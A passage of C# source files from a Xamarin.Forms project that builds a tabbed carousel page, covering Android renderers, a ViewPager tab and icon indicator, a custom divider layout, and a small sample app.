SetCurrentItem(position);
if (mListener != null)
{
mListener.OnPageSelected(position);
}
}
public void SetViewPager(ViewPager view)
{
var adapter = view.Adapter;
if (adapter == null)
{
throw new IllegalStateException("ViewPager does not have adapter instance. ");
}
if (!(adapter is IIconPagerAdapter))
{
throw new IllegalStateException("ViewPager adapter must implement IIconPagerAdapter to be used with IconPageIndicator.");
}
// if ( mViewPager == view ) {
// return;
// }
// if ( mViewPager != null ) {
// mViewPager.SetOnPageChangeListener ( null );
// }
mViewPager = view;
view.SetOnPageChangeListener(this);
NotifyDataSetChanged();
}
public void SetViewPager(ViewPager view, int initialPosition)
{
SetViewPager(view);
SetCurrentItem(initialPosition);
}
public void SetCurrentItem(int item)
{
if (mViewPager == null)
{
throw new IllegalStateException("Viewpager has not been bound.");
}
mSelectedIndex = item;
mViewPager.CurrentItem = item;
var tabCount = mIconsLayout.ChildCount;
for (var i = 0; i < tabCount; i++)
{
var child = mIconsLayout.GetChildAt(i);
var isSelected = (i == item);
child.Selected = isSelected;
if (isSelected)
{
AnimateToIcon(item);
}
}
}
public void SetOnPageChangeListener(ViewPager.IOnPageChangeListener pageChangeListener)
{
mListener = pageChangeListener;
}
public void NotifyDataSetChanged()
{
mIconsLayout.RemoveAllViews();
var iconAdapter = (IIconPagerAdapter)mViewPager.Adapter;
if (iconAdapter == null)
{
throw new NullReferenceException("ViewPager adapter is not an Icon Pager Adapter");
}
var count = iconAdapter.Count;
for (var i = 0; i < count; i++)
{
var view = new ImageView(Context, null, Resource.Attribute.vpiIconPageIndicatorStyle);
view.SetImageResource(iconAdapter.GetIconResId(i));
mIconsLayout.AddView(view);
}
if (mSelectedIndex < count)
{
mSelectedIndex = count - 1;
}
SetCurrentItem(mSelectedIndex);
RequestLayout();
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.iOS/UIKit/TabCarouselBarDelegate.cs
/***************************************************************************************************************
* TabCarouselBarDelegate.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using TabCarouselPage.iOS.Renderers;
using UIKit;
using Xamarin.Forms.Platform.iOS;
namespace TabCarouselPage.iOS.UIKit
{
internal sealed class TabCarouselBarDelegate : UITabBarDelegate
{
public TabCarouselPageRenderer PageRenderer { get; set; }
public TabCarouselBarDelegate ( TabCarouselPageRenderer pageRenderer ) {
if ( pageRenderer == null ) {
throw new NullReferenceException ();
}
PageRenderer = pageRenderer;
}
public override void ItemSelected ( UITabBar tabbar , UITabBarItem item ) {
var selectedIndex = Array.IndexOf ( tabbar.Items , item );
PageRenderer.SelectedIndex = selectedIndex;
PageRenderer.TabbedCarousel.CurrentPage = PageRenderer.TabbedCarousel.Children [ selectedIndex ];
tabbar.BackgroundColor = PageRenderer.TabbedCarousel.Children [ selectedIndex ].BackgroundColor.ToUIColor ();
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Renderers/TabCarouselPageRenderer.cs
/***************************************************************************************************************
* TabCarouselPageRenderer.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using Android.Support.V4.View;
using Android.Views;
using Android.Widget;
using TabCarouselPage.Droid.Renderers;
using TabCarouselPage.Droid.Widget;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
[assembly: ExportRenderer(typeof(TabCarouselPage.Core.TabCarouselPage), typeof(TabCarouselPageRenderer))]
namespace TabCarouselPage.Droid.Renderers
{
public class TabCarouselPageRenderer : CarouselPageRenderer
{
private ViewPager viewPager;
private TabCarouselPageIndicator indicator;
private TabCarouselPageAdapter adapter;
private LinearLayout linearLayout;
public static void Load () {}
protected override void OnElementChanged ( ElementChangedEventArgs <CarouselPage> e ) {
base.OnElementChanged ( e );
if ( viewPager != null ) {
if ( viewPager.Adapter != null ) {
viewPager.Adapter.Dispose ();
viewPager.Adapter = null;
}
RemoveView ( viewPager );
viewPager.SetOnPageChangeListener ( null );
viewPager.Dispose ();
}
if ( indicator != null ) {
RemoveView ( indicator );
indicator.SetOnPageChangeListener ( null );
indicator.Dispose ();
}
if ( linearLayout != null ) {
RemoveView ( linearLayout );
linearLayout.Dispose ();
}
RemoveAllViews ();
linearLayout = new LinearLayout ( Forms.Context );
linearLayout.SetGravity ( GravityFlags.Center );
linearLayout.Orientation = Orientation.Vertical;
linearLayout.LayoutParameters = new LayoutParams ( LayoutParams.MatchParent , LayoutParams.MatchParent );
linearLayout.Focusable = true;
linearLayout.Clickable = true;
AddView ( linearLayout );
viewPager = new ViewPager ( Context ) {
OffscreenPageLimit = int.MaxValue
};
//the following is needed to draw indicator based on the exisitng theme.
var contextThemeWrapper = new ContextThemeWrapper ( Context , Resource.Style.Theme_PageIndicatorDefaults );
indicator = new TabCarouselPageIndicator ( contextThemeWrapper , Element );
linearLayout.AddView ( indicator , new LayoutParams ( LayoutParams.MatchParent , LayoutParams.WrapContent ) );
linearLayout.AddView ( viewPager , new LinearLayout.LayoutParams ( LayoutParams.MatchParent , 0 , 1.0f ) );
}
/// <summary>
/// Called when this view should assign a size and position to all of its children.
/// <para> A Caveat of this is that always measure this based on the root most of the layout. in this case, linearlayout.
/// For example, in the parent class, we did the measure on viewpager itself since it is the rootmost of the class</para>
/// </summary>
/// <param name="changed">if set to <c>true</c> This will be the new size or position for this view.</param>
/// <param name="l">Left position, relative to parent.</param>
/// <param name="t">Top position, relative to parent.</param>
/// <param name="r">Right position, relative to parent.</param>
/// <param name="b">Bottom position, relative to parent.</param>
protected override void OnLayout ( bool changed , int l , int t , int r , int b ) {
base.OnLayout ( changed , l , t , r , b );
if ( linearLayout == null ) {
return;
}
linearLayout.Measure ( MakeMeasureSpec ( r - l , MeasureSpecMode.Exactly ) , MakeMeasureSpec ( b - t , MeasureSpecMode.Exactly ) );
linearLayout.Layout ( 0 , 0 , r - l , b - t );
}
protected override void OnMeasure ( int widthMeasureSpec , int heightMeasureSpec ) {
viewPager.Measure ( widthMeasureSpec , heightMeasureSpec );
SetMeasuredDimension ( viewPager.MeasuredWidth , viewPager.MeasuredHeight );
}
/// <summary>
/// Based on internal class Xamarin.Forms.Platform.Android.MeasureSpecFactory
/// </summary>
/// <param name="size">The size.</param>
/// <param name="mode">The mode.</param>
/// <returns></returns>
private static int MakeMeasureSpec ( int size , MeasureSpecMode mode ) {
return ( int ) ( size + mode );
}
/// <summary>
/// Our Custom Carousel Page starts here.
/// First we have to get the working adapter.
/// Then remove the parent's view, and finally reapplied our own view.
/// </summary>
protected override void OnAttachedToWindow () {
base.OnAttachedToWindow ();
adapter = new TabCarouselPageAdapter ( viewPager , Element , Context );
viewPager.SetOnPageChangeListener ( adapter );
indicator.SetOnPageChangeListener ( adapter );
viewPager.Adapter = adapter;
UpdateCurrentItem ();
indicator.SetViewPager ( viewPager );
}
/// <summary>
/// based on both internal class Xamarin.Forms.Platform.Android.CarouselPageAdapter.UpdateCurrentItem()
/// and Xamarin.Forms.Platform.Android.CarouselPageRenderer.() .
/// the main purpose of this function is to update the viewpager based on the Carousel current page.
/// </summary>
/// <exception cref="System.InvalidOperationException">CarouselPage has no children.</exception>
private void UpdateCurrentItem () {
int index = Element.Children.IndexOf ( Element.CurrentPage );
if ( index < 0 || index >= Element.Children.Count ) {
return;
}
viewPager.CurrentItem = index;
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/Interfaces/ITitleProvider.cs
/***************************************************************************************************************
* ITitleProvider.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
namespace TabCarouselPage.Droid.Widget
{
/// <summary>
/// A TitleProvider provides the title to display according to a view.
/// </summary>
public interface ITitleProvider
{
/// <summary>
/// Returns the title of the view at position
/// </summary>
/// <param name="position">The position.</param>
/// <returns></returns>
String GetTitle(int position);
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/Interfaces/IIconPagerAdapter.cs
/***************************************************************************************************************
* IIconPagerAdapter.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
namespace TabCarouselPage.Droid.Widget
{
public interface IIconPagerAdapter
{
int GetIconResId ( int index );
int Count { get; }
}
}<file_sep>/Sample/Sample/App.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using TabCarouselPage.Core;
using Xamarin.Forms;
namespace Sample
{
public class App : Application
{
public App()
{
var tab1 = new SampleContentPage()
{
BackgroundColor = Color.FromHex("#27ae60"),
Title = "Tab1"
};
var tab2 = new SampleContentPage()
{
BackgroundColor = Color.FromHex("#2980b9"),
Title = "Tab2"
};
var tab3 = new SampleContentPage()
{
BackgroundColor = Color.FromHex("#e67e22"),
Title = "Tab3"
};
var customTab = new TabCarouselPage.Core.TabCarouselPage(TabType.TitleWithIcon);
customTab.Children.Add(tab1);
customTab.Children.Add(tab2);
customTab.Children.Add(tab3);
MainPage = new NavigationPage(customTab) { Title = "Sample Custom Tab"};
}
protected override void OnStart()
{
// Handle when your app starts
}
protected override void OnSleep()
{
// Handle when your app sleeps
}
protected override void OnResume()
{
// Handle when your app resumes
}
}
}
<file_sep>/Sample/Sample/SampleContentPage.cs
using Xamarin.Forms;
namespace Sample
{
public class SampleContentPage : ContentPage
{
public Label PageLabel { get; set; }
public SampleContentPage () {
PageLabel = new Label {
XAlign = TextAlignment.Center ,
Text = Title ,
};
var stackLayout = new StackLayout {
VerticalOptions = LayoutOptions.Center ,
};
stackLayout.Children.Add ( PageLabel );
Content = stackLayout;
}
protected override void OnAppearing () {
base.OnAppearing ();
PageLabel.Text = Title;
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage/Enum.cs
/***************************************************************************************************************
* Enum.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
namespace TabCarouselPage.Core
{
public enum TabType
{
TitleOnly ,
TitleWithIcon ,
IconOnly
}
}
<file_sep>/README.md
# Xamarin.Forms-TabCarouselPage
A Carousel Page with Tab Bar to be use on Xamarin.Forms
<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/ViewGroup/IcsLinearLayout.cs
/***************************************************************************************************************
* IcsLinearLayout.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Android.App;
using Android.Content;
using Android.Graphics;
using Android.OS;
using Android.Runtime;
using Android.Util;
using Android.Views;
using Android.Widget;
namespace TabCarouselPage.Droid.Widget
{
public class IcsLinearLayout : LinearLayout
{
public static readonly int[] LinearLayoutResources = new[] {
/* 0 */ global::Android.Resource.Attribute.Divider ,
/* 1 */ global::Android.Resource.Attribute.ShowDividers ,
/* 2 */ global::Android.Resource.Attribute.DividerPadding
};
private enum EAttributeIndex
{
Divider = 0,
ShowDivider = 1,
DividerPadding = 2
}
// private const int LinearLayoutDivider = 0;
// private const int LinearLayoutShowDivider = 1;
// private const int LinearLayoutDividerPadding = 2;
private global::Android.Graphics.Drawables.Drawable divider;
private int dividerWidth;
private int dividerHeight;
private readonly int showDividers;
private readonly int dividerPadding;
protected IcsLinearLayout(IntPtr javaReference, JniHandleOwnership transfer) : base(javaReference, transfer) { }
public IcsLinearLayout(Context context) : base(context) { }
public IcsLinearLayout(Context context, IAttributeSet attrs, int defStyle) : base(context, attrs, defStyle) { }
public IcsLinearLayout(Context context, int themeAttr)
: base(context)
{
var a = context.ObtainStyledAttributes(null, LinearLayoutResources, themeAttr, 0);
SetDividerDrawable(a.GetDrawable((int)EAttributeIndex.Divider));
dividerPadding = a.GetDimensionPixelSize((int)EAttributeIndex.DividerPadding, 0);
showDividers = a.GetInteger((int)EAttributeIndex.ShowDivider, (int)ShowDividers.None);
a.Recycle();
}
public IcsLinearLayout(Context context, IAttributeSet attrs)
: base(context, attrs)
{
var a = context.ObtainStyledAttributes(null, LinearLayoutResources, attrs.StyleAttribute, 0);
SetDividerDrawable(a.GetDrawable((int)EAttributeIndex.Divider));
dividerPadding = a.GetDimensionPixelSize((int)EAttributeIndex.DividerPadding, 0);
showDividers = a.GetInteger((int)EAttributeIndex.ShowDivider, (int)ShowDividers.None);
a.Recycle();
}
public override sealed void SetDividerDrawable(global::Android.Graphics.Drawables.Drawable divider)
{
if (divider == this.divider)
{
return;
}
this.divider = divider;
if (divider != null)
{
dividerWidth = divider.IntrinsicWidth;
dividerHeight = divider.IntrinsicHeight;
}
else
{
dividerWidth = 0;
dividerHeight = 0;
}
SetWillNotDraw(divider == null);
RequestLayout();
}
protected override void MeasureChildWithMargins(View child, int parentWidthMeasureSpec, int widthUsed, int parentHeightMeasureSpec, int heightUsed)
{
var index = IndexOfChild(child);
var orientation = Orientation;
var layoutParams = ((LayoutParams)(child.LayoutParameters));
if (HasDividerBeforeChildAt(index))
{
if (orientation == global::Android.Widget.Orientation.Vertical)
{
//Account for the divider by pushing everything up
layoutParams.TopMargin = dividerHeight;
}
else
{
//Account for the divider by pushing everything left
layoutParams.LeftMargin = dividerWidth;
}
}
var count = ChildCount;
if (index == count - 1)
{
if (HasDividerBeforeChildAt(count))
{
if (orientation == global::Android.Widget.Orientation.Vertical)
{
layoutParams.BottomMargin = dividerHeight;
}
else
{
layoutParams.RightMargin = dividerWidth;
}
}
}
base.MeasureChildWithMargins(child, parentWidthMeasureSpec, widthUsed, parentHeightMeasureSpec, heightUsed);
}
protected override void OnDraw(Canvas canvas)
{
if (divider != null)
{
if (Orientation == global::Android.Widget.Orientation.Vertical)
{
DrawDividerVertical(canvas);
}
else
{
DrawDividersHorizontal(canvas);
}
}
base.OnDraw(canvas);
}
private void DrawDividerVertical(Canvas canvas)
{
var count = ChildCount;
for (var i = 0; i < count; i++)
{
var child = GetChildAt(i);
if (child != null && child.Visibility != ViewStates.Gone)
{
if (HasDividerBeforeChildAt(i))
{
var layoutParams = ((LayoutParams)(child.LayoutParameters));
var top = child.Top = layoutParams.TopMargin /*- mDividerHeight*/;
DrawHorizontalDivider(canvas, top);
}
}
}
if (HasDividerBeforeChildAt(count))
{
var child = GetChildAt(count - 1);
var bottom = 0;
if (child == null)
{
bottom = Height - PaddingBottom - dividerHeight;
}
else
{
//LayoutParams layoutParams = ( ( LayoutParams ) ( child.LayoutParameters ) );
bottom = child.Bottom /* + layoutParams.BottomMargin*/;
}
DrawHorizontalDivider(canvas, bottom);
}
}
private void DrawDividersHorizontal(Canvas canvas)
{
var count = ChildCount;
for (var i = 0; i < count; i++)
{
var child = GetChildAt(i);
if (child != null && child.Visibility != ViewStates.Gone)
{
if (HasDividerBeforeChildAt(i))
{
var layoutParams = ((LayoutParams)(child.LayoutParameters));
var left = child.Left - layoutParams.LeftMargin /* - mDividerWidth */;
DrawVerticalDivider(canvas, left);
}
}
}
if (HasDividerBeforeChildAt(count))
{
var child = GetChildAt(count - 1);
var right = 0;
if (child == null)
{
right = Width - PaddingRight - dividerWidth;
}
else
{
//LayoutParams layoutParams = ( ( LayoutParams ) ( child.LayoutParameters ) );
right = child.Right /* + layoutParams.RightMargin*/;
}
DrawVerticalDivider(canvas, right);
}
}
private void DrawHorizontalDivider(Canvas canvas, int top)
{
divider.SetBounds(PaddingLeft + dividerPadding, top, Width - PaddingRight - dividerPadding, top + dividerHeight);
divider.Draw(canvas);
}
private void DrawVerticalDivider(Canvas canvas, int left)
{
divider.SetBounds(left, PaddingTop + dividerPadding, left + dividerWidth, Height - PaddingBottom - dividerPadding);
divider.Draw(canvas);
}
private bool HasDividerBeforeChildAt(int childIndex)
{
if (childIndex == 0 || childIndex == ChildCount)
{
return false;
}
if ((showDividers & (int)ShowDividers.Middle) != 0)
{
var hasVisibleViewBefore = false;
for (var i = childIndex - 1; i >= 0; i--)
{
if (GetChildAt(i).Visibility == ViewStates.Gone)
{
continue;
}
hasVisibleViewBefore = true;
break;
}
return hasVisibleViewBefore;
}
return false;
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/TabPageIndicator.cs
/***************************************************************************************************************
* TabPageIndicator.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using Android.Content;
using Android.Graphics;
using Android.Runtime;
using Android.Support.V4.View;
using Android.Util;
using Android.Views;
using Android.Widget;
using Java.Lang;
namespace TabCarouselPage.Droid.Widget
{
[Register("tabcarouselpage.droid.widget.TabPageIndicator")]
public class TabPageIndicator : HorizontalScrollView, IPageIndicator
{
protected readonly IcsLinearLayout mTabLayout;
protected ViewPager mViewPager;
protected ViewPager.IOnPageChangeListener mListener;
protected readonly LayoutInflater mInflater;
public int mMaxTabWidth;
protected int mSelectedTabIndex;
public TabPageIndicator ( Context context ) : base ( context , null ) {
HorizontalScrollBarEnabled = false;
mInflater = LayoutInflater.From ( context );
mTabLayout = new IcsLinearLayout ( Context , Resource.Attribute.vpiTabPageIndicatorStyle );
mTabLayout.SetBackgroundColor ( Color.Rgb ( 33 , 33 , 33 ) );
AddView ( mTabLayout , new ViewGroup.LayoutParams ( ViewGroup.LayoutParams.WrapContent , ViewGroup.LayoutParams.WrapContent ) );
}
public TabPageIndicator(Context context, IAttributeSet attrs)
: base(context, attrs)
{
HorizontalScrollBarEnabled = false;
mInflater = LayoutInflater.From(context);
mTabLayout = new IcsLinearLayout(Context, Resource.Attribute.vpiTabPageIndicatorStyle);
AddView(mTabLayout, new ViewGroup.LayoutParams(ViewGroup.LayoutParams.WrapContent, ViewGroup.LayoutParams.WrapContent));
}
protected override void OnMeasure(int widthMeasureSpec, int heightMeasureSpec)
{
var widthMode = MeasureSpec.GetMode(widthMeasureSpec);
var lockedExpanded = widthMode == MeasureSpecMode.Exactly;
FillViewport = lockedExpanded;
var childCount = mTabLayout.ChildCount;
if (childCount > 1 && (widthMode == MeasureSpecMode.Exactly || widthMode == MeasureSpecMode.AtMost))
{
if (childCount > 2)
{
mMaxTabWidth = (int)(MeasureSpec.GetSize(widthMeasureSpec) * 0.4f);
}
else
{
mMaxTabWidth = MeasureSpec.GetSize(widthMeasureSpec) / 2;
}
}
else
{
mMaxTabWidth = -1;
}
var oldWidth = MeasuredWidth;
base.OnMeasure(widthMeasureSpec, heightMeasureSpec);
var newWidth = MeasuredWidth;
if (lockedExpanded && oldWidth != newWidth)
{
// Recenter the tab display if we're at a new (scrollable) size.
//SetCurrentItem(mSelectedTabIndex);
}
}
protected override void OnAttachedToWindow()
{
base.OnAttachedToWindow();
Console.WriteLine("OnAttachedToWindow");
/*
*
* super.onAttachedToWindow();
if (mTabSelector != null) {
// Re-post the selector we saved
post(mTabSelector);
}
*/
}
protected override void OnDetachedFromWindow()
{
base.OnDetachedFromWindow();
Console.WriteLine("OnDetachedFromWindow...");
// super.onDetachedFromWindow();
// if (mTabSelector != null) {
// removeCallbacks(mTabSelector);
// }
}
protected virtual void AnimateToTab(int position)
{
var tabView = mTabLayout.GetChildAt(position);
// Do we not have any call backs because we're handling this with Post?
/*if (mTabSelector != null) {
RemoveCallbacks(mTabSelector);
}*/
Post(() =>
{
var scrollPos = tabView.Left - (Width - tabView.Width) / 2;
SmoothScrollTo(scrollPos, 0);
});
}
/// <summary>
/// Adds the tab. This is a Workaround for not being able to pass a defStyle on pre-3.0
/// </summary>
/// <param name="text">The text.</param>
/// <param name="index">The index.</param>
/// <param name="iconResId">icon Resource Id if exist </param>
protected virtual void AddTab(string text, int index, int iconResId = 0)
{
var tabView = (TabView)mInflater.Inflate(Resource.Layout.vpi__tab, null);
tabView.Init(this, text.ToUpperInvariant (), index);
tabView.Focusable = true;
tabView.Click += delegate(object sender, EventArgs e)
{
var tView = (TabView)sender;
mViewPager.CurrentItem = tView.GetIndex();
};
if ( iconResId != 0 ) {
tabView.ImageView.Visibility = ViewStates.Visible;
tabView.ImageView.SetImageResource ( iconResId );
} else {
tabView.ImageView.Visibility = ViewStates.Gone;
}
tabView.TextView.Visibility = string.IsNullOrEmpty ( tabView.TextView.Text ) ? ViewStates.Gone : ViewStates.Visible;
mTabLayout.AddView(tabView, new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.FillParent, 1));
}
public virtual void OnPageScrollStateChanged(int p0)
{
if (mListener != null)
{
mListener.OnPageScrollStateChanged(p0);
}
}
public virtual void OnPageScrolled(int p0, float p1, int p2)
{
if (mListener != null)
{
mListener.OnPageScrolled(p0, p1, p2);
}
}
public virtual void OnPageSelected(int p0)
{
SetCurrentItem(p0);
if (mListener != null)
{
mListener.OnPageSelected(p0);
}
}
//from IPageIndicator
public virtual void SetViewPager(ViewPager view)
{
var adapter = view.Adapter;
if (adapter == null)
{
throw new IllegalStateException("ViewPager does not have adapter instance.");
}
if (!(adapter is ITitleProvider))
{
throw new IllegalStateException("ViewPager adapter must implement TitleProvider to be used with TitlePageIndicator.");
}
mViewPager = view;
view.SetOnPageChangeListener(this);
NotifyDataSetChanged();
}
public virtual void SetViewPager(ViewPager view, int initialPosition)
{
SetViewPager(view);
SetCurrentItem(initialPosition);
}
public virtual void SetCurrentItem(int item)
{
if (mViewPager == null)
{
throw new IllegalStateException("ViewPager has not been bound.");
}
mSelectedTabIndex = item;
var tabCount = mTabLayout.ChildCount;
for (var i = 0; i < tabCount; i++)
{
var child = mTabLayout.GetChildAt(i);
var isSelected = (i == item);
child.Selected = isSelected;
if (isSelected)
{
AnimateToTab(item);
}
}
}
public virtual void SetOnPageChangeListener(ViewPager.IOnPageChangeListener listener)
{
mListener = listener;
}
public virtual void NotifyDataSetChanged()
{
mTabLayout.RemoveAllViews();
var adapter = (ITitleProvider)mViewPager.Adapter;
IIconPagerAdapter iconAdapter = null;
if (adapter is IIconPagerAdapter)
{
iconAdapter = adapter as IIconPagerAdapter;
}
var count = ((PagerAdapter)adapter).Count;
for (var i = 0; i < count; i++)
{
var title = adapter.GetTitle(i) ?? string.Empty;
var iconResId = 0;
if (iconAdapter != null)
{
iconResId = iconAdapter.GetIconResId(i);
}
AddTab(title, i, iconResId);
}
if (mSelectedTabIndex > count)
{
mSelectedTabIndex = count - 1;
}
SetCurrentItem(mSelectedTabIndex);
RequestLayout();
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/ViewGroup/TabView.cs
/***************************************************************************************************************
* TabView.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using Android.Content;
using Android.Runtime;
using Android.Util;
using Android.Views;
using Android.Widget;
namespace TabCarouselPage.Droid.Widget
{
[Register("tabcarouselpage.droid.widget.TabView")]
public class TabView : LinearLayout
{
private TabPageIndicator mParent;
private int mIndex;
public TabView(Context context, IAttributeSet attrs)
: base(context, attrs)
{
}
public TextView TextView { get; set; }
public ImageView ImageView { get; set; }
public void Init(TabPageIndicator parent, string text, int index)
{
mParent = parent;
mIndex = index;
TextView = FindViewById<TextView>(global::Android.Resource.Id.Text1);
ImageView = FindViewById<ImageView>(global::Android.Resource.Id.Icon1);
TextView.Text = text;
}
public void InitForm ( TabPageIndicator parent , string text , int index ) {
mParent = parent;
mIndex = index;
TextView = FindViewById<TextView>(global::Android.Resource.Id.Text1);
ImageView = FindViewById<ImageView>(global::Android.Resource.Id.Icon1);
TextView.Text = text;
}
protected override void OnMeasure(int widthMeasureSpec, int heightMeasureSpec)
{
base.OnMeasure(widthMeasureSpec, heightMeasureSpec);
// Re-measure if we went beyond our maximum size.
if (mParent.mMaxTabWidth > 0 && MeasuredWidth > mParent.mMaxTabWidth)
{
base.OnMeasure(MeasureSpec.MakeMeasureSpec(mParent.mMaxTabWidth, MeasureSpecMode.Exactly), heightMeasureSpec);
}
}
public int GetIndex()
{
return mIndex;
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/Views/SavedState.cs
/***************************************************************************************************************
* SavedState.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Android.App;
using Android.Content;
using Android.OS;
using Android.Runtime;
using Android.Views;
using Android.Widget;
using Java.Interop;
namespace TabCarouselPage.Droid.Widget
{
public class SavedState : View.BaseSavedState
{
public int CurrentPage { get; set; }
public SavedState(IParcelable superState) : base(superState) { }
public SavedState(Parcel parcel)
: base(parcel)
{
CurrentPage = parcel.ReadInt();
}
public override void WriteToParcel(Parcel dest, ParcelableWriteFlags flags)
{
base.WriteToParcel(dest, flags);
dest.WriteInt(CurrentPage);
}
[ExportField("CREATOR")]
static SavedStateCreator InitializeCreator()
{
return new SavedStateCreator();
}
class SavedStateCreator : Java.Lang.Object, IParcelableCreator
{
public Java.Lang.Object CreateFromParcel(Parcel source)
{
return new SavedState(source);
}
public Java.Lang.Object[] NewArray(int size)
{
return new SavedState[size];
}
}
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Widget/ViewPagerIndicator/Interfaces/IOnCenterItemClickListener.cs
/***************************************************************************************************************
* IOnCenterItemClickListener.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
namespace TabCarouselPage.Droid.Widget
{
/// <summary>
/// Interface for a callback when the center item has been clicked.
/// </summary>
public interface IOnCenterItemClickListener
{
/// <summary>
/// Callback when the center item has been clicked.
/// </summary>
/// <param name="position">Position of the current center item..</param>
void OnCenterItemClick ( int position );
}
}<file_sep>/TabCarouselPage/TabCarouselPage.Droid/Renderers/TabCarouselPageAdapter.cs
/***************************************************************************************************************
* TabCarouselPageAdapter.cs
*
* Copyright (c) 2015, <NAME>
* All rights reserved.
*
**************************************************************************************************************/
using System;
using System.Collections.Specialized;
using Android.Content;
using Android.Support.V4.View;
using Android.Views;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
namespace TabCarouselPage.Droid.Renderers
{
public class TabCarouselPageAdapter : PagerAdapter , ViewPager.IOnPageChangeListener
{
private bool ignoreAndroidSelection;
private readonly ViewPager pager;
private CarouselPage page;
private readonly Context context;
public override int Count {
get { return page.Children.Count; }
}
public TabCarouselPageAdapter ( ViewPager pager , CarouselPage page , Context context ) {
this.pager = pager;
this.page = page;
this.context = context;
page.PagesChanged += OnPagesChanged;
}
protected override void Dispose ( bool disposing ) {
if ( disposing && page != null ) {
foreach ( var element in page.Children ) {
IVisualElementRenderer renderer = GetRenderer ( element );
if ( renderer != null ) {
renderer.ViewGroup.RemoveFromParent ();
renderer.Dispose ();
SetRenderer ( element , null );
}
}
page.PagesChanged -= OnPagesChanged;
page = null;
}
base.Dispose ( disposing );
}
public void UpdateCurrentItem () {
if ( page.CurrentPage == null ) {
throw new InvalidOperationException ( "CarouselPage has no children." );
}
var index = page.Children.IndexOf ( page.CurrentPage );
if ( index < 0 || index >= page.Children.Count ) {
return;
}
pager.CurrentItem = index;
}
private void OnPagesChanged ( object sender , NotifyCollectionChangedEventArgs notifyCollectionChangedEventArgs ) {
ignoreAndroidSelection = true;
NotifyDataSetChanged ();
ignoreAndroidSelection = false;
if ( page.CurrentPage == null ) {
return;
}
UpdateCurrentItem ();
}
public override int GetItemPosition ( Java.Lang.Object item ) {
ObjectJavaBox <Tuple <ViewGroup , Page , int>> objectJavaBox = ( ObjectJavaBox <Tuple <ViewGroup , Page , int>> ) item;
Element parent = objectJavaBox.Instance.Item2.Parent;
if ( parent == null ) {
return -2;
}
var num = ( ( CarouselPage ) parent ).Children.IndexOf ( ( ContentPage ) objectJavaBox.Instance.Item2 );
if ( num == 1 ) {
return -2;
}
if ( num == objectJavaBox.Instance.Item3 ) {
return -1;
}
objectJavaBox.Instance = new Tuple <ViewGroup , Page , int> ( objectJavaBox.Instance.Item1 , objectJavaBox.Instance.Item2 , num );
return num;
}
public override Java.Lang.Object InstantiateItem ( ViewGroup container , int position ) {
ContentPage contentPage = page.Children [ position ];
if ( GetRenderer ( contentPage ) == null ) {
SetRenderer ( contentPage , RendererFactory.GetRenderer ( contentPage ) );
}
IVisualElementRenderer renderer = GetRenderer ( contentPage );
renderer.ViewGroup.RemoveFromParent ();
PageContainer pageContainer = new PageContainer ( context , renderer );
container.AddView ( pageContainer );
return
new ObjectJavaBox <Tuple <ViewGroup , Page , int>> (
new Tuple <ViewGroup , Page , int> ( pageContainer , contentPage , position ) );
}
public override void DestroyItem ( Android.Views.View container , int position , Java.Lang.Object item ) {
ObjectJavaBox <Tuple <ViewGroup , Page , int>> objectJavaBox = ( ObjectJavaBox <Tuple <ViewGroup , Page , int>> ) item;
GetRenderer ( objectJavaBox.Instance.Item2 ).ViewGroup.RemoveFromParent ();
objectJavaBox.Instance.Item1.RemoveFromParent ();
}
public override bool IsViewFromObject ( Android.Views.View view , Java.Lang.Object item ) {
ViewGroup viewGroup = ( ( ObjectJavaBox <Tuple <ViewGroup , Page , int>> ) item ).Instance.Item1;
return view == viewGroup;
}
public void OnPageScrollStateChanged ( int state ) {}
public void OnPageScrolled ( int position , float positionOffset , int positionOffsetPixels ) {}
public void OnPageSelected ( int position ) {
if ( ignoreAndroidSelection ) {
return;
}
int currentItem = pager.CurrentItem;
page.CurrentPage = currentItem < 0 || currentItem >= page.Children.Count ? null : page.Children [ currentItem ];
}
/* NOTES:
*
* @Shahman's Note:
* Due to a plenty of internal functions that needs to be override, I've decided to take an approach to re-invented the wheel. doing so will require me
* to call couple of internal functions. Therefore, until it was made protected or public, I have no choice but to use reflection to call those functions.
*
* Hopefully, in the future, these functions are available for developers to be used.
*
* According to <NAME>:
* "... some of those functions are internal to Xamarin.Forms, which means you need to use reflection to get them... "
* More Discussions here: http://forums.xamarin.com/discussion/comment/111954/#Comment_111954
*
*/
#region Hack via Reflection
private delegate IVisualElementRenderer GetRendererDelegate ( BindableObject bindable );
private static GetRendererDelegate getRendererDelegate;
/// <summary>
